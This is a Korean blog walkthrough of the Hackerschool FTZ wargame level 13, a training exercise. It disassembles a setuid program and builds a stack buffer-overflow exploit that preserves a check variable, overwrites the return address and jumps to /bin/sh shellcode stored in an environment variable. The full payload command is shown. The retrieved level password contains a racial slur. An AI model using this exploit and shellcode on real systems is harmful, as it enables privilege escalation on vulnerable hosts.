728x90
반응형
728x90
반응형
728x90
반응형


해커스쿨 FTZ [LEVEL13] 풀이


M4ndU




해커스쿨 FTZ [LEVEL13] 풀이입니다.


ID | level13

PW | have no clue


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.





login as: level13

level13@192.168.31.128's password:

[level13@ftz level13]$ ls -l

total 28

-rwsr-x---    1 level14  level13     13953 Mar  8  2003 attackme

-rw-r-----    1 root     level13       258 Mar  8  2003 hint

drwxr-xr-x    2 root     level13      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level13      4096 Jan 11  2009 tmp

[level13@ftz level13]$ cat hint


#include <stdlib.h>


main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];


   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);


   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}


이번에도 깔끔하게 환경변수를 이용하여 문제를 풀겠습니...다?


소스를 보니 새로운 조건이 추가되었네요.

i 가 0x1234567이 아니라면 프로그램이 죽어버리네요.


근데 변수 선언 순서를 보면, i가 buf보다 먼저 선언되었으므로

i의 시작주소가 buf의 시작주소보다 높은 것을 알 수 있습니다.


이를 이용해서 i를 덮어쓰면 되겠죠?


실행에 옮깁시다!


일단 gdb를 통해 정확한 분석 ㄱㄱ


[level13@ftz level13]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>:    push   ebp

0x080484a1 <main+1>:    mov    ebp,esp

0x080484a3 <main+3>:    sub    esp,0x418

0x080484a9 <main+9>:    mov    DWORD PTR [ebp-12],0x1234567

0x080484b0 <main+16>:   sub    esp,0x8

0x080484b3 <main+19>:   push   0xc16

0x080484b8 <main+24>:   push   0xc16

0x080484bd <main+29>:   call   0x8048370 <setreuid>

0x080484c2 <main+34>:   add    esp,0x10

0x080484c5 <main+37>:   cmp    DWORD PTR [ebp+8],0x1

0x080484c9 <main+41>:   jle    0x80484e5 <main+69>

0x080484cb <main+43>:   sub    esp,0x8

0x080484ce <main+46>:   mov    eax,DWORD PTR [ebp+12]

0x080484d1 <main+49>:   add    eax,0x4

0x080484d4 <main+52>:   push   DWORD PTR [eax]

0x080484d6 <main+54>:   lea    eax,[ebp-1048]

0x080484dc <main+60>:   push   eax

0x080484dd <main+61>:   call   0x8048390 <strcpy>

0x080484e2 <main+66>:   add    esp,0x10

0x080484e5 <main+69>:   cmp    DWORD PTR [ebp-12],0x1234567

0x080484ec <main+76>:   je     0x804850d <main+109>

0x080484ee <main+78>:   sub    esp,0xc

0x080484f1 <main+81>:   push   0x80485a0

0x080484f6 <main+86>:   call   0x8048360 <printf>

0x080484fb <main+91>:   add    esp,0x10

0x080484fe <main+94>:   sub    esp,0x8

0x08048501 <main+97>:   push   0xb

0x08048503 <main+99>:   push   0x0

0x08048505 <main+101>:  call   0x8048380 <kill>

0x0804850a <main+106>:  add    esp,0x10

0x0804850d <main+109>:  leave

0x0804850e <main+110>:  ret

0x0804850f <main+111>:  nop

End of assembler dump.


오케이~ 


낮은 주소


buf[1024] [ebp-1048]

dummy[12]

i[4] [ebp-12]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조를 가지고 있는 것 같습니다.

그러면 buf[1024] 와 dummy[12]를 A로 채워주고, i를 01234567로 채워주고, dummy[8]과 SFP[4]를 다시 A로 채워준뒤 리턴주소를 덮어주면 될 것 같습니다. 파이썬 코드로 짜면


`python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"RETN"'`


이렇게 되겠네요.


그럼 이제 환경변수를 설정해 줍시다.


[level13@ftz level13]$ cd tmp

[level13@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level13@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level13@ftz tmp]$ gcc getenv.c -o getenv

[level13@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d



./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`


익스플로잇 완성!

실행!


[level13@ftz tmp]$ cd ..

[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`

sh-2.05b$ my-pass

TERM environment variable not set.


Level14 Password is "what that nigga want?".




...GAZ....A!


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
  1. 세인 2019.07.24 04:12

    i가 먼저 선언됬다면 스택의 모양에서 순서를 매겨보면
    RET이 먼저 선언 되었고 그다음 sfp가 생성되었고 dummy가 있고 i 가 생성되고 dummy가 있고
    1024바이트를 선언했다는 건가요??? 만약 그렇다면 왜 gdb로 디버깅 했을 때는 1024가 먼저 선언되었나요??ㅠㅠㅠ sfp 와 ret 때문에 햇갈리네요ㅠㅠ 답변 부탁드립니다!@!!

    • M4ndU 2019.07.24 13:35 신고

      스택 메모리에서는 큰 주소부터 데이터를 채워 나갑니다.
      마지막에 선언된 buf[1024]가 가장 낮은 주소에 위치하게 되기 때문입니다.

+ Recent posts